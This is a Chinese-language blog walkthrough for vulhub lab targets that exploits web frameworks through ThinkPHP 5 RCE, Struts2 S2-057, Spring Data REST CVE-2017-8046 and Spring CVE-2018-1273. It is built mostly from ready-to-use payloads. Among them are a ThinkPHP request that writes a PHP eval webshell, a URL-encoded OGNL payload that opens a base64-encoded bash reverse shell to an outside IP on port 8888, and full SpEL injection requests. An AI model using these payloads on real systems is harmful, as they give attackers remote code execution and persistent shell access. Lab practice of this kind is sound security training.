当前位置: 首页 > news >正文

常见框架漏洞靶场攻略

前言:

本文的环境完全是cd vulhub-master靶场,如果之前没有用过建议大家下载一下,此外配套的还要下载docker工具docker-compose工具。另外建议做完一个靶场就docker stop 把容器停掉,要不然会占用端口并且会占用内存。

Web框架:

Web应用框架是用于支持动态网站、网络应用程序及网络服务开发的软件框架,主要分为基于请求和基于组件的两种类型。其通过提供标准组件与通用模板,简化数据库访问、会话管理及界面生成等重复性工作。

Thinkphp(TP)

ThinkPHP 是一个轻量级、高效的 PHP开发框架专注于简化企业级应用开发和敏捷Web开发。以下是其核心特点:
大道至简的设计理念,兼顾性能与易用性,提供单一入口文件和灵活配置系统,降低开发门槛。12
模块化设计,内置数据库、模板引擎、缓存等组件,支持快速搭建应用框架,并可通过扩展插件满足复杂需求。
MVC模式只实现业务逻辑与界面分离,提升代码可维护性。56**命名空间9、Composer依赖管理°等现代化特性,适配 PHP 8.4°等新版语言特性。
自2006年发布以来,ThinkPHP经历了多个版本更新,当前最新版本为5.x(截至2025年7月),持续优化性能与扩展性。适用于中小型项目、快速开发场景,尤其在 电商系统a后台管理系统ª等领域有成熟解决方案。

Thinkphp5x远程命令执行及getshell

漏洞利用:

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。

环境搭建:

cd vulhub-master/thinkphp/5-rce
docker-compose up -d
docker ps

靶场攻略:

输入?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

这说明可以执行系统目录,利用这一特性写入木马

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php eval($_POST["a"]);?>'  >shell.php

访问shell.php

struts2

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

S2-057远程执行代码漏洞

环境搭建:

cd vulhub-master/struts2/s2-057
docker-compose up -d
docker ps

靶场攻略:

访问/struts2-showcase/

在url处输入/${(123+123)}/actionChain1.action

回车,发现数字相加了,说明可以执行系统命令

在原本${(123+123)}的位置上写入

%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D

看起来很复杂,其实这是经过url编码后的语句,他的命令执行语句是exec('whoami')

可以看见,命令被执行,且返回结果是root

我们可以利用这一特性反弹shell

写一个反弹shell语句bash -i >& /dev/tcp/59.110.83.22/8888 0>&1进行base64编码

构造语句

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuODMuMjIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

这个语句如果执行可以反弹shell,之所以绕这么一下是为了绕过系统的过滤机制。

填入命令执行的地方,url编码一次。

最后语句为/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC81OS4xMTAuODMuMjIvODg4OCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

在监听机上开启监听

 反弹到了

Spring

Spring框架是由于软件开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言,绝大部分Java应用都可以从Spring中受益。

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

环境搭建:

cd vulhub-master/spring/CVE-2017-8046
docker-compose up -d
docker ps

靶场攻略:

访问/customers/1

在这个页面抓包,构造请求包

PATCH /customers/1 HTTP/1.1
Host: 59.110.83.22:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1753864547; JSESSIONID=54D0C8AFD21D725865A1AB42228BFE6F
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun, 03 Aug 2025 10:23:12 GMT
If-None-Match: "0"
Priority: u=0, i
Content-Type: application/json-patch+json
Content-Length: 0[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

 请求体的数字是经过ascii码的touch /tmp/success,如果命令执行会在tmp目录下创建一个success文件

放行,进入容器里查看

创建了。根据这个原理我们可以写入一个木马,不过前提是知道网站的路径,太麻烦这里就不演示了。

spring 代码执行(CVE-2018-1273)

环境搭建:

cd vulhub-master/spring/CVE-2018-1273
docker-compose up -d
docker ps

靶场攻略:

访问/users

在这个页面抓包

把username的参数改成

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/crz")]=&password=&repeatedPassword=,这个命令可以创建一个/tmp/crz文件

进入容器查看一下

Shiro

Shiro rememberMe反序列化漏洞(Shiro-550)

环境搭建

cd vulhub-master/shiro/CVE-2016-4437
docker-compose up -d
docker ps

靶场攻略

利用工具:shiro_attack工具

http://www.dtcms.com/a/312784.html

相关文章:

  • Java 实现poi方式读取word文件内容
  • 力扣967:连续差相同的数字
  • Mysql1
  • Docker-03.快速入门-部署MySQL
  • python的蛋糕店管理系统
  • MySQL的创建管理表:
  • 求根到叶子节点数字之和
  • 【数据分享】南京诗歌文学地理数据集(获取方式看文末)
  • 电机结构设计与特性曲线分析:基于MATLAB和FEMM的仿真研究
  • 6. 平台总线
  • 机器学习第四课之决策树
  • Shell 脚本流程控制语句详解(四):while 循环详解
  • lua table常用函数汇总
  • Django 序列化详解:从 Model 到 JSON,全面掌握数据转换机制
  • 使用AndroidStudio调试Framework源码
  • 腾讯人脸识别
  • 数据治理:DQC(Data Quality Center,数据质量中心)概述
  • [嵌入式embed]C51单片机STC-ISP提示:正在检测目标单片机
  • 《前端无障碍设计的深层逻辑与实践路径》
  • MyBatis动态SQL精要:从<if>到<foreach>的灵活拼接之道
  • 高质量数据集|建设三大难点
  • [硬件电路-140]:模拟电路 - 信号处理电路 - 锁定放大器概述、工作原理、常见芯片、管脚定义
  • [硬件电路-133]:模拟电路 - 信号处理电路 - 电荷放大器概述、工作原理、常见芯片、管脚定义
  • 深度学习(鱼书)day10--与学习相关的技巧(后两节)
  • 仿TCmalloc内存分配器
  • 后端研发转型爬虫实战:Scrapy 二开爬虫框架的避坑指南
  • C++入门自学Day5-- C/C++内存管理(续)
  • jvm之jconsole的使用
  • Maven 常用命令详解
  • react native中markdown添加数学公式的支持